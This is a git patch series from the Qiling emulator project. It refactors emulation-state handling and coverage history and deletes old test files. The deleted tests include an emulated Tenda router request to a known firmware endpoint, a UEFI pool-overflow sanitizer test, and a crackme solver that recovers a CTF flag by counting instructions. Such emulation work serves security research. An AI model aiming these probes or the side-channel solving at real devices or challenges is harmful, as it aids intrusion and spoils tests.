Qiling(["../examples/rootfs/arm_tendaac15/bin/httpd"], "../examples/rootfs/arm_tendaac15", verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom","/dev/urandom") - ql.hook_address(patcher, ql.loader.elf_entry) - ql.run() - del ql - - if __name__ == "__main__": - - threadLock = threading.Lock() - threads = [] - - nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) - mytenda_therad = threading.Thread(target=my_tenda, daemon=True) - - nvram_listener_therad.start() - mytenda_therad.start() - - threads.append(nvram_listener_therad) - threads.append(mytenda_therad) - - time.sleep(5) - - conn = http.client.HTTPConnection('localhost', 8080, timeout=10) - headers = {'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded'} - web_data = {'page': 'CCCCAAAA', 'entrys':'sync'} - json_data = json.dumps(web_data) - conn.request('POST', '/goform/addressNat', json_data, headers) - response = conn.getresponse() - self.assertIn("Please update your documents to reflect the new location.", response.read().decode()) - - -if __name__ == "__main__": - unittest.main() \ No newline at end of file diff --git a/tests/test_uefi.py.orig b/tests/test_uefi.py.orig deleted file mode 100644 index f29420d91..000000000 --- a/tests/test_uefi.py.orig +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import pickle, sys, unittest - -sys.path.append("..") -from qiling import Qiling -from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.uefi import utils -from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER - -ROOTFS_UEFI = r'../examples/rootfs/x8664_efi' - -class Checklist: - def __init__(self) -> None: - self.visited_oncall = False - self.visited_onenter = False - self.visited_onexit = False - -class Test_UEFI(unittest.TestCase): - def test_x8664_uefi_santizier(self): - def my_abort(msg: str): - print(f"\n*** {msg} ***\n") - - def enable_sanitized_heap(ql: Qiling): - heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=0) - - heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected') - heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected') - heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected') - heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected') - - # make sure future allocated buffers are not too close to UEFI data - heap.alloc(0x1000) - - ql.os.heap = heap - - if __name__ == "__main__": - env = { - # the FaultType NVRAM variable is read by the executable to determine which - # memory corruption it should trigger. - # - # fault types are: - # 0 - POOL_OVERFLOW_MEMCPY - # 1 - POOL_UNDERFLOW_MEMCPY - # 2 - POOL_OVERFLOW_USER, - # 3 - POOL_UNDERFLOW_USER - # 4 - POOL_OOB_READ_AHEAD - # 5 - POOL_OOB_READ_BEHIND - # 6 - POOL_DOUBLE_FREE - # 7 - POOL_INVALID_FREE - 'FaultType': bytes([1]) - } - - ql = Qiling([f'{ROOTFS_UEFI}/bin/EfiPoolFault.efi'], ROOTFS_UEFI, env=env, verbose=QL_VERBOSE.DEBUG) - - enable_sanitized_heap(ql) - - ql.run() - - self.assertFalse(ql.os.heap.validate(), 'expected heap corruption') - - def test_x8664_uefi(self): - def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params): - ql.log.info(f'[force_notify] address = {address:#x}, params = {params}') - - self.ck.visited_oncall = True - - event_id = params['Event'] - - if event_id in ql.loader.events: - event = ql.loader.events[event_id] - - # let's force notify - event["Set"] = False - - utils.signal_event(ql, event_id) - utils.execute_protocol_notifications(ql, True) - - return EFI_SUCCESS - - return EFI_INVALID_PARAMETER - - def my_onenter(ql: Qiling, address: int, params): - ql.log.info(f'[my_onenter] address = {address:#x}, params = {params}') - - self.ck.visited_onenter = True - - def my_onexit(ql: Qiling, address: int, params, retval: int): - ql.log.info(f'[my_onexit] address = {address:#x}, params = {params}') - - self.ck.visited_onexit = True - - if __name__ == "__main__": - with open(f'{ROOTFS_UEFI}/rom2_nvar.pickel', 'rb') as f: - env = pickle.load(f) - - ql = Qiling([f'{ROOTFS_UEFI}/bin/TcgPlatformSetupPolicy'], ROOTFS_UEFI, env=env, verbose=QL_VERBOSE.DEBUG) - self.ck = Checklist() - - ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify) - ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api("LocateProtocol", my_onexit, QL_INTERCEPT.EXIT) - - ql.run() - - self.assertTrue(self.ck.visited_oncall) - self.assertTrue(self.ck.visited_onenter) - self.assertTrue(self.ck.visited_onexit) - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_windows_debugger.py.orig b/tests/test_windows_debugger.py.orig deleted file mode 100644 index cdb9e4cff..000000000 --- a/tests/test_windows_debugger.py.orig +++ /dev/null @@ -1,76 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, threading, unittest, socket, time - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_VERBOSE - -class SimpleGdbClient: - DELAY = 0.6 - - def __init__(self, host: str, port: int): - sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - txtf = sock.makefile('w') - - sock.connect((host, port)) - - self.__sock = sock - self.__file = txtf - - def __enter__(self): - return self - - def __exit__(self, ex_type, ex_value, ex_traceback): - self.__sock.close() - - @staticmethod - def checksum(data: str) -> int: - return sum(ord(c) for c in data) & 0xff - - def send(self, msg: str): - time.sleep(SimpleGdbClient.DELAY) - - self.__file.write(f'${msg}#{SimpleGdbClient.checksum(msg):02x}') - self.__file.flush() - -class DebuggerTest(unittest.TestCase): - - def test_pe_gdbdebug(self): - ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows/", verbose=QL_VERBOSE.DEBUG) - ql.debugger = 'gdb:127.0.0.1:9996' - - # some random command test just to make sure we covered most of the command - def gdb_test_client(): - # yield to allow ql to launch its gdbserver - time.sleep(1.337 * 2) - - with SimpleGdbClient('127.0.0.1', 9996) as client: - client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') - client.send('vMustReplyEmpty') - client.send('QStartNoAckMode') - client.send('Hgp0.0') - client.send('qXfer:auxv:read::0, 1000') - client.send('?') - client.send('qXfer:threads:read::0,fff') - client.send('qAttached:'+ str(ql.os.pid)) - client.send('qC') - client.send('g') - client.send('m200, 100') - client.send('p10') - client.send('c') - client.send('k') - - # yield to make sure ql gdbserver has enough time to receive our last command - time.sleep(1.337) - - threading.Thread(target=gdb_test_client, daemon=True).start() - - ql.run() - del ql - -if __name__ == '__main__': - unittest.main() \ No newline at end of file diff --git a/tests/test_windows_stdio.py.orig b/tests/test_windows_stdio.py.orig deleted file mode 100644 index 9050ec571..000000000 --- a/tests/test_windows_stdio.py.orig +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -from typing import Sequence - -sys.path.append("..") -from qiling import * -from qiling.const import QL_VERBOSE -from qiling.extensions import pipe - -def instruction_count(ql: Qiling, address: int, size: int, user_data): - user_data[0] += 1 - - -def get_count(flag: Sequence[str]): - ql = Qiling(["../examples/rootfs/x86_windows/bin/crackme.exe"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.OFF, libcache = True) - ql.os.stdin = pipe.SimpleStringBuffer() - ql.os.stdout = pipe.SimpleStringBuffer() - - count = [0] - ql.hook_code(instruction_count, count) - - ql.os.stdin.write(bytes("".join(flag) + "\n", 'utf-8')) - ql.run() - - print(ql.os.stdout.read().decode('utf-8'), end='') - print(f' ============ count: {count[0]:d} ============ ') - - return count[0] - - -def solve(): - # BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53} - prefix = list("BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C") - flag = list("\x00" * 100) - base = get_count(prefix + flag) - i = 0 - - try: - for i in range(len(flag)): - for j in "}5353535353": - flag[i] = j - data = get_count(prefix + flag) - if data > base: - base = data - print("\n\n\n>>> FLAG: " + "".join(prefix + flag) + "\n\n\n") - break - if flag[i] == "}": - break - print("SOLVED!!!") - except KeyboardInterrupt: - print("STOP: KeyboardInterrupt") - - -if __name__ == "__main__": - solve() diff --git a/tests/view_perf_results.py.orig b/tests/view_perf_results.py.orig deleted file mode 100644 index 2312114b9..000000000 --- a/tests/view_perf_results.py.orig +++ /dev/null @@ -1,90 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import io, os, sys - -import pstats - -from tkinter import * -from tkinter import filedialog -from tkinter import messagebox as msgbox -from tkinter import scrolledtext - -class QLGuiPerfApp(): - def __init__(self): - self.root = Tk() - self.root.minsize(1024, 384) - self.root.title("QL Perf Results Viewer") - - self.menu = Menu(self.root) - - self.file_open = Menu(self.menu, tearoff=0) - self.file_open.add_command(label="Open", command=self.open_perf_file) - self.file_open.add_command(label="Exit", command=sys.exit) - - self.menu.add_cascade(label="File", menu=self.file_open) - self.root.config(menu=self.menu) - - self.scrollData = scrolledtext.ScrolledText(self.root, wrap=WORD) - self.scrollData.pack(fill=BOTH, expand=True) - self.scrollData.tag_configure("qiling_highlight", foreground="yellow", background="green") - self.root.mainloop() - - def open_perf_file(self): - filename = filedialog.askopenfilename(initialdir=".", title="Select a perf file" - ,filetypes=(("perf files", "*.perf"),) ) - - try: - output_stream = io.StringIO() - stats = pstats.Stats(filename, stream=output_stream) - stats.print_stats() - self.scrollData.delete(1.0, END) - self.scrollData.insert(INSERT, output_stream.getvalue()) - self.highlight_pattern("qiling_highlight", "qiling") - except Exception as e: - msgbox.showerror("Error...", "Unable to load selected file") - - def highlight_pattern(self, tag, keyword): - start = self.scrollData.index("1.0") - end = self.scrollData.index("end") - self.scrollData.mark_set("matchStart", start) - self.scrollData.mark_set("matchEnd", start) - self.scrollData.mark_set("searchLimit", end) - count = IntVar() - while True: - index = self.scrollData.search(keyword, "matchEnd", "searchLimit", count=count, regexp=False) - if index == "": break - if count.get() == 0: break - self.scrollData.mark_set("matchStart", index) - self.scrollData.mark_set("matchEnd", "%s+%sc" % (index, count.get() )) - self.scrollData.tag_add(tag, "matchStart", "matchEnd") - - -def console_print(filename): - try: - stats = pstats.Stats(filename) - stats.print_stats() - except: - print("Failed to load perf file => {}".format(filename)) - -def usage(): - print("View performance results from Qiling test runs") - print("----------------------------------------------") - print("{} --gui : Launch in gui mode".format(sys.argv[0])) - print("{} input_file.perf : Print contents of perf file".format(sys.argv[0])) - -def main(): - if len(sys.argv) == 2: - if sys.argv[1] == "--gui": - QLGuiPerfApp() - sys.exit(0) - elif os.path.isfile(sys.argv[1]): - console_print(sys.argv[1]) - sys.exit(0) - - usage() - -if __name__ == "__main__": - main() \ No newline at end of file From 82d5c68386485832fa1ccbae72d0891a0fe38093 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 3 Mar 2023 14:12:22 +0200 Subject: [PATCH 017/103] Introduce emu_state core property --- qiling/const.py | 6 ++++++ qiling/core.py | 17 +++++++++++++++-- qiling/loader/pe.py | 9 ++------- qiling/os/os.py | 14 ++++++++------ 4 files changed, 31 insertions(+), 15 deletions(-) diff --git a/qiling/const.py b/qiling/const.py index edfff6fc7..8aabafe4e 100644 --- a/qiling/const.py +++ b/qiling/const.py @@ -66,6 +66,12 @@ class QL_STOP(Flag): EXIT_TRAP = (1 << 1) +class QL_STATE(Enum): + NOT_SET = 0 + STARTED = 1 + STOPPED = 2 + + QL_ARCH_INTERPRETER: Final = (QL_ARCH.EVM,) QL_OS_POSIX: Final = (QL_OS.LINUX, QL_OS.FREEBSD, QL_OS.MACOS, QL_OS.QNX) diff --git a/qiling/core.py b/qiling/core.py index efa05fdb5..2cb5aff75 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -20,7 +20,7 @@ from .hw.hw import QlHwManager from .loader.loader import QlLoader -from .const import QL_ARCH, QL_ENDIAN, QL_OS, QL_STOP, QL_VERBOSE, QL_ARCH_INTERPRETER, QL_OS_BAREMETAL +from .const import QL_ARCH, QL_ENDIAN, QL_OS, QL_STATE, QL_STOP, QL_VERBOSE, QL_ARCH_INTERPRETER, QL_OS_BAREMETAL from .exception import QlErrorFileNotFound, QlErrorArch, QlErrorOsType from .host import QlHost from .log import * @@ -151,6 +151,9 @@ def __init__( QlCoreStructs.__init__(self, self.arch.endian, self.arch.bits) QlCoreHooks.__init__(self, self.uc) + # emulation has not been started yet + self._state = QL_STATE.NOT_SET + ########## # Logger # ########## @@ -494,6 +497,13 @@ def stop_options(self) -> QL_STOP: """ return self._stop_options + @property + def emu_state(self) -> QL_STATE: + """Query emulation state. + """ + + return self._state + def do_bin_patch(self): ba = self.loader.load_address @@ -714,6 +724,7 @@ def stack_write(self, offset, data): # stop emulation def emu_stop(self): self.uc.emu_stop() + self._state = QL_STATE.STOPPED # stop emulation def stop(self): @@ -724,7 +735,7 @@ def stop(self): self.os.stop() else: - self.uc.emu_stop() + self.emu_stop() # start emulation def emu_start(self, begin: int, end: int, timeout: int = 0, count: int = 0): @@ -746,6 +757,8 @@ def emu_start(self, begin: int, end: int, timeout: int = 0, count: int = 0): if getattr(self.arch, '_init_thumb', False): begin |= 0b1 + self._state = QL_STATE.STARTED + # reset exception status before emulation starts self._internal_exception = None diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index 724a33a9a..439a6ae13 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -11,7 +11,7 @@ from qiling import Qiling from qiling.arch.x86_const import FS_SEGMENT_ADDR, GS_SEGMENT_ADDR -from qiling.const import QL_ARCH +from qiling.const import QL_ARCH, QL_STATE from qiling.exception import QlErrorArch from qiling.os.const import POINTER from qiling.os.windows.api import HINSTANCE, DWORD, LPVOID @@ -247,13 +247,8 @@ def load_dll(self, name: str, is_driver: bool = False) -> int: # # in case of a dll loaded from a hooked API call, failures would not be # recoverable and we have to give up its DllMain. - if not self.ql.os.PE_RUN: - - # temporarily set PE_RUN to allow proper fcall unwinding during - # execution of DllMain - self.ql.os.PE_RUN = True + if self.ql.emu_state is not QL_STATE.STARTED: self.call_dll_entrypoint(dll, dll_base, dll_len, dll_name) - self.ql.os.PE_RUN = False self.ql.log.info(f'Done loading {dll_name}') diff --git a/qiling/os/os.py b/qiling/os/os.py index 93c4c012e..a6c8e5cce 100644 --- a/qiling/os/os.py +++ b/qiling/os/os.py @@ -9,7 +9,7 @@ from unicorn import UcError from qiling import Qiling -from qiling.const import QL_OS, QL_INTERCEPT, QL_OS_POSIX +from qiling.const import QL_OS, QL_STATE, QL_INTERCEPT, QL_OS_POSIX from qiling.os.const import STRING, WSTRING, GUID from qiling.os.fcall import QlFunctionCall, TypedArg @@ -195,12 +195,14 @@ def call(self, pc: int, func: Callable, proto: Mapping[str, Any], onenter: Optio # append syscall to list self.stats.log_api_call(pc, func.__name__, args, retval, retaddr) - # [Windows and UEFI] if emulation has stopped, do not update the return address - if hasattr(self, 'PE_RUN') and not self.PE_RUN: - passthru = True - if not passthru: - self.ql.arch.regs.arch_pc = retaddr + # WORKAROUND: we avoid modifying the pc register in case the emulation has stopped. + # this is used to work around a unicorn issue in which emulation continues despite + # of calling emu_stop if the pc register is modified. + # + # see: https://github.com/unicorn-engine/unicorn/issues/1579 + if self.ql.emu_state is not QL_STATE.STOPPED: + self.ql.arch.regs.arch_pc = retaddr return retval From bbd8f7e4b3bfcec813f649a746d4b318307e45f6 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 3 Mar 2023 14:15:51 +0200 Subject: [PATCH 018/103] Remove the PE_RUN property --- qiling/os/uefi/uefi.py | 4 ---- qiling/os/windows/dlls/kernel32/processthreadsapi.py | 2 -- qiling/os/windows/dlls/kernel32/winbase.py | 1 - qiling/os/windows/dlls/mscoree.py | 1 - qiling/os/windows/dlls/msvcrt.py | 1 - qiling/os/windows/windows.py | 3 --- 6 files changed, 12 deletions(-) diff --git a/qiling/os/uefi/uefi.py b/qiling/os/uefi/uefi.py index c44d032ad..1f552ee63 100644 --- a/qiling/os/uefi/uefi.py +++ b/qiling/os/uefi/uefi.py @@ -27,7 +27,6 @@ def __init__(self, ql: Qiling): self.entry_point = 0 self.running_module: str self.smm: SmmEnv - self.PE_RUN: bool self.heap: QlMemoryHeap # Will be initialized by the loader. self.on_module_enter: MutableSequence[Callable[[str], bool]] = [] @@ -217,8 +216,6 @@ def run(self): self.exit_point = self.ql.exit_point try: - self.PE_RUN = True - self.ql.emu_start(self.ql.loader.entry_point, self.exit_point, self.ql.timeout, self.ql.count) except KeyboardInterrupt: self.ql.log.critical(f'Execution interrupted by user') @@ -229,4 +226,3 @@ def run(self): def stop(self) -> None: self.ql.emu_stop() - self.PE_RUN = False diff --git a/qiling/os/windows/dlls/kernel32/processthreadsapi.py b/qiling/os/windows/dlls/kernel32/processthreadsapi.py index 800f3520f..0cda93c0f 100644 --- a/qiling/os/windows/dlls/kernel32/processthreadsapi.py +++ b/qiling/os/windows/dlls/kernel32/processthreadsapi.py @@ -20,7 +20,6 @@ }) def hook_ExitProcess(ql: Qiling, address: int, params): ql.emu_stop() - ql.os.PE_RUN = False def _GetStartupInfo(ql: Qiling, address: int, params, *, wide: bool): lpStartupInfo = params['lpStartupInfo'] @@ -238,7 +237,6 @@ def hook_TerminateProcess(ql: Qiling, address: int, params): if process == ql.os.profile.getint("KERNEL", "pid"): # or process == ql.os.image_address: ql.emu_stop() - ql.os.PE_RUN = False return 1 diff --git a/qiling/os/windows/dlls/kernel32/winbase.py b/qiling/os/windows/dlls/kernel32/winbase.py index f798aed62..6fe624b31 100644 --- a/qiling/os/windows/dlls/kernel32/winbase.py +++ b/qiling/os/windows/dlls/kernel32/winbase.py @@ -158,7 +158,6 @@ def hook__lwrite(ql: Qiling, address: int, params): }) def hook_FatalExit(ql: Qiling, address: int, params): ql.emu_stop() - ql.os.PE_RUN = False # PVOID EncodePointer( # _In_ PVOID Ptr diff --git a/qiling/os/windows/dlls/mscoree.py b/qiling/os/windows/dlls/mscoree.py index 346690e3e..b5e56bad7 100644 --- a/qiling/os/windows/dlls/mscoree.py +++ b/qiling/os/windows/dlls/mscoree.py @@ -15,4 +15,3 @@ }) def hook_CorExitProcess(ql: Qiling, address: int, params): ql.emu_stop() - ql.os.PE_RUN = False diff --git a/qiling/os/windows/dlls/msvcrt.py b/qiling/os/windows/dlls/msvcrt.py index c75e06d6a..cd57e4eb8 100644 --- a/qiling/os/windows/dlls/msvcrt.py +++ b/qiling/os/windows/dlls/msvcrt.py @@ -193,7 +193,6 @@ def hook__initterm(ql: Qiling, address: int, params): }) def hook_exit(ql: Qiling, address: int, params): ql.emu_stop() - ql.os.PE_RUN = False # int __cdecl _initterm_e( # PVFV *, diff --git a/qiling/os/windows/windows.py b/qiling/os/windows/windows.py index d4ab2f047..6cb8bc5b0 100644 --- a/qiling/os/windows/windows.py +++ b/qiling/os/windows/windows.py @@ -80,7 +80,6 @@ def __make_fcall_selector(atype: QL_ARCH) -> Callable[[int], QlFunctionCall]: self.userprofile = ntpath.join(sysdrv, 'Users', username) self.username = username - self.PE_RUN = False self.last_error = 0 self.argv = self.ql.argv @@ -213,8 +212,6 @@ def run(self): entry_point = self.ql.loader.entry_point exit_point = (self.ql.loader.entry_point + len(self.ql.code)) if self.ql.code else self.exit_point - self.PE_RUN = True - try: self.ql.emu_start(entry_point, exit_point, self.ql.timeout, self.ql.count) except UcError: From 5ca07643289feb47c39e59513a34fae11c13765d Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 3 Mar 2023 14:31:00 +0200 Subject: [PATCH 019/103] Fix #1310 --- qiling/debugger/gdb/gdb.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/qiling/debugger/gdb/gdb.py b/qiling/debugger/gdb/gdb.py index cf2a23b6a..6dd7b3614 100644 --- a/qiling/debugger/gdb/gdb.py +++ b/qiling/debugger/gdb/gdb.py @@ -30,7 +30,7 @@ ) from qiling import Qiling -from qiling.const import QL_ARCH, QL_ENDIAN, QL_OS +from qiling.const import QL_ARCH, QL_ENDIAN, QL_OS, QL_STATE from qiling.debugger import QlDebugger from qiling.debugger.gdb.xmlregs import QlGdbFeatures from qiling.debugger.gdb.utils import QlGdbUtils @@ -673,6 +673,11 @@ def handle_s(subcmd: str) -> Reply: self.gdb.resume_emu(steps=1) + # if emulation has been stopped, signal program termination + if self.ql.emu_state is QL_STATE.STOPPED: + return f'S{SIGTERM:02x}' + + # otherwise, this is just single stepping return f'S{SIGTRAP:02x}' def handle_X(subcmd: str) -> Reply: From 1a0df1e833f5ae1fd50021de3d8833c592451f58 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 3 Mar 2023 14:33:04 +0200 Subject: [PATCH 020/103] Opportunistic PEP8 fixes --- qiling/os/os.py | 3 ++- qiling/os/uefi/uefi.py | 12 +++--------- qiling/os/windows/dlls/msvcrt.py | 2 +- 3 files changed, 6 insertions(+), 11 deletions(-) diff --git a/qiling/os/os.py b/qiling/os/os.py index a6c8e5cce..006d094f9 100644 --- a/qiling/os/os.py +++ b/qiling/os/os.py @@ -19,6 +19,7 @@ from .utils import QlOsUtils from .path import QlOsPath + class QlOs: type: QL_OS @@ -226,7 +227,7 @@ def run(self) -> None: def stop(self): if self.ql.multithread: - self.thread_management.stop() + self.thread_management.stop() else: self.ql.emu_stop() diff --git a/qiling/os/uefi/uefi.py b/qiling/os/uefi/uefi.py index 1f552ee63..e01b628bb 100644 --- a/qiling/os/uefi/uefi.py +++ b/qiling/os/uefi/uefi.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -18,6 +18,7 @@ from qiling.os.uefi import guids_db from qiling.os.uefi.smm import SmmEnv + class QlOsUefi(QlOs): type = QL_OS.UEFI @@ -44,12 +45,10 @@ def save(self): saved_state['entry_point'] = self.entry_point return saved_state - def restore(self, saved_state): super(QlOsUefi, self).restore(saved_state) self.entry_point = saved_state['entry_point'] - def process_fcall_params(self, targs: Iterable[TypedArg]) -> Sequence[Tuple[str, str]]: '''[override] Post-process function call arguments values to determine how to display them. @@ -64,7 +63,7 @@ def fallback(v): '''Use original processing method for other types. ''' - # the original method accepts a list and returns a list, so here we + # the original method accepts a list and returns a list, so here we # craft a list containing one 3-tuple, and extracting the single element # the result list contains. that element is a 2-tuple, from which we # only need the value @@ -101,7 +100,6 @@ def notify_before_module_execution(self, module: str) -> bool: return bool(sum(callback(module) for callback in self.on_module_enter)) - def emit_context(self): rgroups = ( ((8, 'rax'), (8, 'r8'), (4, 'cs')), @@ -130,7 +128,6 @@ def __emit_reg(size: int, reg: str): self.ql.log.error(f'') - def emit_hexdump(self, address: int, data: bytearray, num_cols: int = 16): self.ql.log.error('Hexdump:') @@ -146,7 +143,6 @@ def emit_hexdump(self, address: int, data: bytearray, num_cols: int = 16): self.ql.log.error(f'') - def emit_disasm(self, address: int, data: bytearray, num_insns: int = 8): md = self.ql.arch.disassembler @@ -157,7 +153,6 @@ def emit_disasm(self, address: int, data: bytearray, num_insns: int = 8): self.ql.log.error(f'') - def emit_stack(self, nitems: int = 4): self.ql.log.error('Stack:') @@ -199,7 +194,6 @@ def emu_error(self): for info_line in self.ql.mem.get_formatted_mapinfo(): self.ql.log.error(info_line) - def set_api(self, target: str, handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): super().set_api(f'hook_{target}', handler, intercept) diff --git a/qiling/os/windows/dlls/msvcrt.py b/qiling/os/windows/dlls/msvcrt.py index cd57e4eb8..2db18455f 100644 --- a/qiling/os/windows/dlls/msvcrt.py +++ b/qiling/os/windows/dlls/msvcrt.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # From 997be397c4c64c95adc715d7d949ac5488767762 Mon Sep 17 00:00:00 2001 From: DiamondHunters <13744511+DiamondHunters@users.noreply.github.com> Date: Sat, 11 Mar 2023 21:04:58 +0800 Subject: [PATCH 021/103] fix #1325 fix 'NameError: name 'arch' is not defined' --- qiling/extensions/idaplugin/qilingida.py | 1 + 1 file changed, 1 insertion(+) diff --git a/qiling/extensions/idaplugin/qilingida.py b/qiling/extensions/idaplugin/qilingida.py index 95857dd7b..8458a0ff6 100644 --- a/qiling/extensions/idaplugin/qilingida.py +++ b/qiling/extensions/idaplugin/qilingida.py @@ -501,6 +501,7 @@ def SetReg(self, addr, ql:Qiling): line = "" cols = 3 reglist = [reglist[i:i+cols] for i in range(0,len(reglist),cols)] + arch = ql.arch.type for regs in reglist: for reg in regs: line += COLSTR(" %4s: " % str(reg), SCOLOR_REG) From 9eaf559743ec642d3466a4f9520242caf5784f4f Mon Sep 17 00:00:00 2001 From: me Date: Fri, 24 Feb 2023 15:03:26 -0500 Subject: [PATCH 022/103] added tests to assert history has length, and to test the case where you want to filter history from multiple shared objects --- tests/test_history.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/tests/test_history.py b/tests/test_history.py index 6ad2d84d4..1aaf6dba2 100644 --- a/tests/test_history.py +++ b/tests/test_history.py @@ -62,6 +62,17 @@ def test_get_ins_exclude_lib(self): map_for_ins = history.get_mem_map_from_addr(block) self.assertNotRegex(map_for_ins[3], ".*libc.so.*") + assert len(non_libc_blocks) > 0 + + non_libc_blocks_and_ld = history.get_ins_exclude_lib([".*libc.so.*", "ld-linux.*"]) + + for block in non_libc_blocks_and_ld: + map_for_ins = history.get_mem_map_from_addr(block) + self.assertNotRegex(map_for_ins[3], ".*libc.so.*|ld-linux.*") + + assert len(non_libc_blocks_and_ld) > 0 + + def test_get_ins_only_lib(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.OFF) history = History(ql) @@ -75,5 +86,15 @@ def test_get_ins_only_lib(self): map_for_ins = history.get_mem_map_from_addr(block) self.assertRegex(map_for_ins[3], ".*libc.so.*") + assert len(non_libc_blocks) > 0 + + non_libc_blocks_and_ld = history.get_ins_only_lib([".*libc.so.*", "ld-linux.*"]) + + for block in non_libc_blocks_and_ld : + map_for_ins = history.get_mem_map_from_addr(block) + self.assertRegex(map_for_ins[3], ".*libc.so.*|.*ld-linux.*") + + assert len(non_libc_blocks_and_ld) > 0 + if __name__ == "__main__": unittest.main() \ No newline at end of file From f2aac3c4d3f5d0f74a33c93b33f2d2663bbfa5e6 Mon Sep 17 00:00:00 2001 From: me Date: Fri, 24 Feb 2023 15:04:22 -0500 Subject: [PATCH 023/103] fixed issue where the get_ins_exclude_lib wasnt handling filters for multiple shared objects properly --- qiling/extensions/coverage/formats/history.py | 20 +++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index 2edd28e2a..0f1acb3d4 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -65,10 +65,11 @@ def get_ins_only_lib(self, libs: List[str]) -> List[int]: List[int]: A list of addresses that have been executed and in the memory maps that match the regex Examples: - >>> history.get_ins_only_lib(["libc.so", "libpthread.so"]) + >>> history.get_ins_only_lib([".*libc.so.*", ".*libpthread.so.*"]) """ executable_maps = self.get_regex_matching_exec_maps(libs) + return [x for x in self.history if any([x >= start and x <= end for start, end, _, _, _ in executable_maps])] def get_ins_exclude_lib(self, libs: list) -> List: @@ -81,11 +82,22 @@ def get_ins_exclude_lib(self, libs: list) -> List: List: A list of addresses that have been executed and are not in the memory maps that match the regex Examples: - >>> history.get_ins_exclude_lib(["libc.so", "libpthread.so"]) + >>> history.get_ins_exclude_lib([".*libc.so.*", ".*libpthread.so.*"]) ''' executable_maps = self.get_regex_matching_exec_maps(libs) - return [x for x in self.history if any([x < start or x > end for start, end, _, _, _ in executable_maps])] + instructions = [] + for h in self.history: + save = True + for start, end, _, _, _ in executable_maps: + if h >= start and h <= end: + save = False + break + + if save: + instructions.append(h) + return instructions + def get_mem_map_from_addr(self, ins: int) -> tuple: '''Returns the memory map that contains the instruction @@ -122,7 +134,7 @@ def get_regex_matching_exec_maps(self, libs: List) -> List: List: A list of tuples that match the regex and are executable Examples: - >>> history.get_regex_matching_exec_maps(["libc.so", "libpthread.so"]) + >>> history.get_regex_matching_exec_maps([".*libc.so.*", ".*libpthread.so.*"]) >>> history.get_regex_matching_exec_maps(".*libc.*") ''' From 3f67544c7c04e1ff9993417c8c2aea4df5e39845 Mon Sep 17 00:00:00 2001 From: me Date: Tue, 28 Feb 2023 13:59:47 -0500 Subject: [PATCH 024/103] brought back the list comprehension (thanks @elicn) and reimplemented history functions to return capstone objects because they are nicer to look at than just integers (addresses) --- qiling/extensions/coverage/formats/history.py | 60 +++++++++++-------- 1 file changed, 35 insertions(+), 25 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index 0f1acb3d4..ae5200af8 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -2,15 +2,18 @@ from qiling import Qiling from qiling.core_hooks_types import HookRet import re +from capstone import CsInsn, Cs class History: history_hook_handle: HookRet = None - history: List[int] = [] + history: List[CsInsn] = [] ql: Qiling + md: Cs def __init__(self, ql: Qiling) -> None: self.ql = ql self.track_block_coverage() + self.md = ql.arch.disassembler def clear_history(self) -> None: """Clears the current state of the history @@ -37,7 +40,13 @@ def track_block_coverage(self) -> None: 